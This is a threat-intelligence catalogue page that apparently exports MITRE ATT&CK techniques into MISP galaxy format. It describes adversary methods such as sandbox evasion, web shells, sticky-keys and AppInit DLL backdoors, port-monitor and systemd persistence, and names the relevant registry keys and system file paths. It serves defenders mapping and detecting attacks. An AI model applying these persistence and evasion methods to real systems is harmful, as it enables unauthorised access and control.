This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1227).

Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)

The tag is: *misp-galaxy:mitre-attack-pattern="Develop KITs/KIQs - T1227"*

Table 4344. Table References

Links
https://attack.mitre.org/techniques/T1227

System Shutdown/Reboot - T1529

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529"*

Table 4345. Table References

Links
https://attack.mitre.org/techniques/T1529
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
https://www.cisa.gov/uscert/ncas/alerts/TA18-106A

Virtualization/Sandbox Evasion - T1497

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497"*

Table 4346. Table References

Links
https://attack.mitre.org/techniques/T1497
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

Data Obfuscation - T1001

Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"*

Table 4347. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1001

Web Shell - T1100

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

The tag is: *misp-galaxy:mitre-attack-pattern="Web Shell - T1100"*

View relationships graph

Web Shell - T1100 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 4348. Table References

Links
https://attack.mitre.org/techniques/T1100
https://capec.mitre.org/data/definitions/650.html
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
https://www.us-cert.gov/ncas/alerts/TA15-314A

Automated Exfiltration - T1020

Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

The tag is: *misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020"*

Table 4349. Table References

Links
https://attack.mitre.org/techniques/T1020

Hardware Additions - T1200

Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200"*

Table 4350. Table References

Links
https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/
https://attack.mitre.org/techniques/T1200
https://capec.mitre.org/data/definitions/440.html
https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
https://www.youtube.com/watch?v=fXthwl6ShOg
https://www.youtube.com/watch?v=lDvf4ScWbcQ

Data Compressed - T1002

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Compressed - T1002"*

View relationships graph

Data Compressed - T1002 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

Table 4351. Table References

Links
https://attack.mitre.org/techniques/T1002
https://en.wikipedia.org/wiki/List_of_file_signatures

Network Sniffing - T1040

Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"*

Table 4352. Table References

Links
https://attack.mitre.org/techniques/T1040
https://capec.mitre.org/data/definitions/158.html
https://cloud.google.com/vpc/docs/packet-mirroring
https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html

https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview
https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512
https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/

New Service - T1050

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).

The tag is: *misp-galaxy:mitre-attack-pattern="New Service - T1050"*

View relationships graph

New Service - T1050 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 4353. Table References

Links
https://attack.mitre.org/techniques/T1050
https://capec.mitre.org/data/definitions/550.html
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
https://technet.microsoft.com/en-us/library/cc772408.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

Weaken Encryption - T1600

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes).

Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device's ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: *misp-galaxy:mitre-attack-pattern="Weaken Encryption - T1600"*

Table 4354. Table References

Links
https://attack.mitre.org/techniques/T1600
https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Fallback Channels - T1008

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

The tag is: *misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"*

Table 4355. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1008

Binary Padding - T1009

Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: *misp-galaxy:mitre-attack-pattern="Binary Padding - T1009"*

View relationships graph

Binary Padding - T1009 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

Table 4356. Table References

Links
https://attack.mitre.org/techniques/T1009
https://capec.mitre.org/data/definitions/572.html
https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
https://www.virustotal.com/en/faq/
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/

Brute Force - T1110

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.

The tag is: *misp-galaxy:mitre-attack-pattern="Brute Force - T1110"*

Table 4357. Table References

Links
https://attack.mitre.org/techniques/T1110

https://capec.mitre.org/data/definitions/49.html

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Query Registry - T1012"*

Table 4358. Table References

Links
https://attack.mitre.org/techniques/T1012
https://capec.mitre.org/data/definitions/647.html
https://en.wikipedia.org/wiki/Windows_Registry

Remote Services - T1021

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)

Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Services - T1021"*

Table 4359. Table References

Links
http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html
https://attack.mitre.org/techniques/T1021
https://capec.mitre.org/data/definitions/555.html
https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
https://support.apple.com/en-us/HT201710
https://support.apple.com/en-us/HT209161
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html
https://www.ssh.com/ssh

Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service - T1102"*

Table 4360. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102

AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"*

View relationships graph

AppInit DLLs - T1103 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"

Table 4361. Table References

Links
https://attack.mitre.org/techniques/T1103
https://msdn.microsoft.com/en-us/library/dn280412
https://support.microsoft.com/en-us/kb/197571
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port

- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"*

View relationships graph

Port Monitors - T1013 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"

Table 4362. Table References

Links
http://msdn.microsoft.com/en-us/library/dd183341
https://attack.mitre.org/techniques/T1013
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf

Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

- On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
- Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
- Narrator: <code>C:\Windows\System32\Narrator.exe</code>
- Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
- App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015"*

View relationships graph

Accessibility Features - T1015 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 4363. Table References

Links
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
https://attack.mitre.org/techniques/T1015
https://capec.mitre.org/data/definitions/558.html
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom

Clipboard Modification - T1510

Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the <code>ClipboardManager.OnPrimaryClipChangedListener</code> interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)

Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510"*

Table 4364. Table References

Links
http://www.cis.syr.edu/wedu/Research/paper/clipboard_attack_dimva2014.pdf[http://www.cis.syr.edu/wedu/Research/paper/clipboard_attack_dimva2014.pdf]
https://attack.mitre.org/techniques/T1510
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data
https://vms.drweb.com/virus/?i=17517750
https://vms.drweb.com/virus/?i=17517761
https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/

Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist Modification - T1150"*

View relationships graph

Plist Modification - T1150 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Plist Modification - T1547.011" with estimative-language:likelihood-probability="almost-certain"

Table 4365. Table References

Links
https://attack.mitre.org/techniques/T1150
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Systemd Service - T1501

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands.

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Service - T1501"*

View relationships graph

Systemd Service - T1501 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

Table 4366. Table References

Links
http://man7.org/linux/man-pages/man1/systemd.1.html
https://attack.mitre.org/techniques/T1501
https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
https://www.freedesktop.org/wiki/Software/systemd/
https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence

Shared Webroot - T1051

This technique has been deprecated and should no longer be used.

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)

The tag is: *misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"*

Table 4367. Table References

Links
http://httpd.apache.org/docs/2.4/getting-started.html#content
https://attack.mitre.org/techniques/T1051
https://capec.mitre.org/data/definitions/563.html

https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/

Native API - T1106

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).

The tag is: *misp-galaxy:mitre-attack-pattern="Native API - T1106"*

Table 4368. Table References

Links
http://msdn.microsoft.com/en-us/library/ms682425
https://attack.mitre.org/techniques/T1106
https://developer.apple.com/documentation/coreservices
https://developer.apple.com/documentation/foundation
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1
